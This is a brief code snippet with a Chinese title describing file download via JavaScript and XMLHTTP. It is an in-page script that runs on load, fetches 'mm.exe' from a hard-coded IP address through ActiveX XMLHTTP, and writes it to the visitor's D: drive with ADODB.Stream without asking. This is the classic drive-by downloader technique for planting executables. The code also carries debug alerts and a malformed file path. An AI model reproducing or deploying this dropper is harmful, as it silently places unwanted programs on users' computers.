javascript与xmlhttp联合实现文件下载

<script language='javascript'>

var xh;

function getXML(geturl)

{

alert('ll');

xh = new ActiveXObject('Microsoft.XMLHTTP');

xh.onreadystatechange = getReady;

xh.open('GET',geturl,true);

xh.send();

}

function getReady()

{

alert(xh.readyState);

if(xh.readyState==4)

{

if(xh.status==200)

{saveFile('d:\mm.exe');return true;}

else

{return false;}

}

else

return false;

}

function saveFile(tofile)

{

var objStream;

var imgs;

imgs = xh.responseBody;

objStream = new ActiveXObject('ADODB.Stream');

objStream.Type = 1;

objStream.open();

objStream.write(imgs);

objStream.SaveToFile(tofile)

}

getXML('http://192.168.22.206/mm.exe');

</script>